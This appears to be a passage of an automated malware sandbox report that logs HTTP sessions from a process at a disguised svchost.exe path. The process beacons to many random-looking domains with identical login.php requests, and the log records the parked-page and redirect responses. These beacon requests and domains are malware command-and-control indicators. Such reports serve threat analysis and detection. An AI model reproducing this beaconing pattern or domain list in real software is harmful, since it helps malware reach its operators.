                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->HTTP/1.1 400 Bad RequestServer: openresty/1.21.4.3Date: Fri, 23 Aug 2024 16:43:49 GMTContent-Type: text/htmlContent-Length: 163Connection: close<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.21.4.3</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          62192.168.2.55084913.248.169.48805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:54.024509907 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: pupydeq.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          63192.168.2.55085064.225.91.73805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.059474945 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galynuh.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.642157078 CEST816INHTTP/1.1 200 OK
                                                                                                                                                                                                          server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:44:05 GMT
                                                                                                                                                                                                          content-type: text/html
                                                                                                                                                                                                          content-length: 593
                                                                                                                                                                                                          last-modified: Wed, 22 Feb 2023 21:25:52 GMT
                                                                                                                                                                                                          etag: "63f68860-251"
                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          64192.168.2.550851154.85.183.50805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.185667038 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyval.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.065023899 CEST307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:44:05 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 138
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          ETag: "663ee226-8a"
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.066418886 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyval.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.377409935 CEST307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:44:06 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 138
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          ETag: "663ee226-8a"
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          65192.168.2.55085244.221.84.10580
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.200841904 CEST373OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyciz.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Cookie: btst=d106e65ece3c227125fd2b7f88318a22|8.46.123.33|1724431386|1724431386|0|1|0; snkz=8.46.123.33
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.672282934 CEST333INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:44:05 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=d106e65ece3c227125fd2b7f88318a22|8.46.123.33|1724431445|1724431386|29|2|0; path=/; domain=.gadyciz.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          66192.168.2.550853103.224.182.252805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.367219925 CEST302OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vofycot.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Cookie: __tad=1724431387.3029143
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.015809059 CEST242INHTTP/1.1 302 Found
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:44:05 GMT
                                                                                                                                                                                                          server: Apache
                                                                                                                                                                                                          location: http://ww16.vofycot.com/login.php?sub1=20240824-0244-0577-915a-f20bc3a7af60
                                                                                                                                                                                                          content-length: 2
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          connection: close
                                                                                                                                                                                                          Data Raw: 0a 0a
                                                                                                                                                                                                          Data Ascii:


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          67192.168.2.561321103.224.212.210805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:44:05.509303093 CEST302OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyxynyx.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Cookie: __tad=1724431387.5010053
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.121805906 CEST244INHTTP/1.1 302 Found
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:44:06 GMT
                                                                                                                                                                                                          server: Apache
                                                                                                                                                                                                          location: http://ww25.lyxynyx.com/login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcb
                                                                                                                                                                                                          content-length: 2
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          connection: close
                                                                                                                                                                                                          Data Raw: 0a 0a
                                                                                                                                                                                                          Data Ascii:


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          68192.168.2.56132215.197.240.20805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.041601896 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qexyhuv.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          69192.168.2.56132364.190.63.136805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.361743927 CEST354OUTGET /login.php?sub1=20240824-0244-0577-915a-f20bc3a7af60 HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: ww16.vofycot.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Cookie: __tad=1724431387.3029143
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.047667980 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:44:06 GMT
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          transfer-encoding: chunked
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Mon, 26 Jul 1997 05:00:00 GMT
                                                                                                                                                                                                          cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                                                                                                                                                                                          pragma: no-cache
                                                                                                                                                                                                          x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_JS32QAwKogUIcGq/vf7X7bCxSeIZeY+TEjx7nbtsIEp5ZnQImckA9c/6CFy1l6id6x8uSo/ezSjR/CRZOSM3Ag==
                                                                                                                                                                                                          last-modified: Fri, 23 Aug 2024 16:44:06 GMT
                                                                                                                                                                                                          x-cache-miss-from: parking-89b87dbbb-9mgtf
                                                                                                                                                                                                          server: Parking/1.0
                                                                                                                                                                                                          Data Raw: 32 45 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 4a 53 33 32 51 41 77 4b 6f 67 55 49 63 47 71 2f 76 66 37 58 37 62 43 78 53 65 49 5a 65 59 2b 54 45 6a 78 37 6e 62 74 73 49 45 70 35 5a 6e 51 49 6d 63 6b 41 39 63 2f 36 43 46 79 31 6c 36 69 64 36 78 38 75 53 6f 2f 65 7a 53 6a 52 2f 43 52 5a 4f 53 4d 33 41 67 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 76 6f 66 79 63 6f 74 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 54 68 69 73 20 77 65 62 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: 2E3<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_JS32QAwKogUIcGq/vf7X7bCxSeIZeY+TEjx7nbtsIEp5ZnQImckA9c/6CFy1l6id6x8uSo/ezSjR/CRZOSM3Ag==><head><meta charset="utf-8"><title>vofycot.com&nbsp;-&nbsp;This website is for sale!&nbsp;-&nbsp;vofycot Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="This website is for sale! vofycot.com is your first and best
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.047718048 CEST1236INData Raw: 20 73 6f 75 72 63 65 20 66 6f 72 20 61 6c 6c 20 6f 66 20 74 68 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f
                                                                                                                                                                                                          Data Ascii: source for all of the information youre looking for. From general topics to more of what you would expect to find here, vofycot.com hAECas it all. We hope you find what you are searching for!"><link rel="icon" type="ima
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.047724962 CEST1236INData Raw: 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d
                                                                                                                                                                                                          Data Ascii: ay:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visibl
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.047756910 CEST1236INData Raw: 74 6f 6e 3b 66 6f 6e 74 3a 69 6e 68 65 72 69 74 7d 64 65 74 61 69 6c 73 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70 6c
                                                                                                                                                                                                          Data Ascii: ton;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.annou
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.047765970 CEST1236INData Raw: 61 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63
                                                                                                                                                                                                          Data Ascii: a{font-size:10px}.container-disclaimer__content-text{color:#949494}.container-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprint_
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.047771931 CEST1236INData Raw: 65 78 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 30 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6c
                                                                                                                                                                                                          Data Ascii: ext{margin-top:10px;margin-right:0px;margin-bottom:5px;margin-left:0px;font-size:larger}.container-cookie-message a{color:#fff}.cookie-modal-window{position:fixed;background-color:rgba(200,200,200,.75);top:0;right:0;bottom:0;left:0;-webkit-tra
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.047777891 CEST1236INData Raw: 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 7d 2e 62 74 6e 2d 2d 73 75 63
                                                                                                                                                                                                          Data Ascii: ckground-color:#218838;border-color:#218838;color:#fff;font-size:initial}.btn--success-sm:hover{background-color:#1a6b2c;border-color:#1a6b2c;color:#fff;font-size:initial}.btn--secondary{background-color:#8c959c;border-color:#8c959c;color:#fff
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.048254013 CEST1236INData Raw: 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 65 31 36 32 65
                                                                                                                                                                                                          Data Ascii: ransform:translateX(26px);transform:translateX(26px)}body{background-color:#0e162e;font-family:Arial,Helvetica,Verdana,"Lucida Grande",sans-serif}body.cookie-message-enabled{padding-bottom:300px}.container-footer{padding-top:20px;padding-left:
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.048265934 CEST1236INData Raw: 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 74 72 61
                                                                                                                                                                                                          Data Ascii: -moz-transform:scaleX(-1);-o-transform:scaleX(-1);-webkit-transform:scaleX(-1);transform:scaleX(-1);z-index:-1}.container-content--lp{min-height:720px}.container-content--rp{width:100%;min-height:820px;margin:0}.container-content--twot{min-hei
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.048276901 CEST1236INData Raw: 65 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 68 65 61 64 65 72 2d 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 39 66 64 38 30 31
                                                                                                                                                                                                          Data Ascii: e}.webarchive-block{text-align:center}.webarchive-block__header-link{color:#9fd801;font-size:20px}.webarchive-block__list{padding:0}.webarchive-block__list-element{word-wrap:break-word;list-style:none}.webarchive-block__list-element-link{line-
                                                                                                                                                                                                          Aug 23, 2024 18:44:07.052856922 CEST1236INData Raw: 69 64 36 78 38 75 53 6f 2f 65 7a 53 6a 52 2f 43 52 5a 4f 53 4d 33 41 67 3d 3d 22 2c 22 74 69 64 22 3a 22 33 30 39 37 22 2c 22 62 75 79 62 6f 78 22 3a 74 72 75 65 2c 22 62 75 79 62 6f 78 54 6f 70 69 63 22 3a 74 72 75 65 2c 22 64 69 73 63 6c 61 69
                                                                                                                                                                                                          Data Ascii: id6x8uSo/ezSjR/CRZOSM3Ag==","tid":"3097","buybox":true,"buyboxTopic":true,"disclaimer":true,"imprint":false,"searchbox":true,"noFollow":false,"slsh":false,"ppsh":true,"dnhlsh":true,"toSellUrl":"https://sedo.com/search/details/?partnerid=14460&


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          70192.168.2.561324199.59.243.226805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.507288933 CEST356OUTGET /login.php?subid1=20240824-0244-06be-9bcf-3aaf77f61bcb HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: ww25.lyxynyx.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Cookie: __tad=1724431387.5010053
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:44:06.962519884 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                                                          date: Fri, 23 Aug 2024 16:44:06 GMT
                                                                                                                                                                                                          content-type: text/html; charset=utf-8
                                                                                                                                                                                                          content-length: 1226
                                                                                                                                                                                                          x-request-id: ad1c2771-2297-4319-96a1-9e173e7d7ea3
                                                                                                                                                                                                          cache-control: no-store, max-age=0
                                                                                                                                                                                                          accept-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          critical-ch: sec-ch-prefers-color-scheme
                                                                                                                                                                                                          vary: sec-ch-prefers-color-scheme
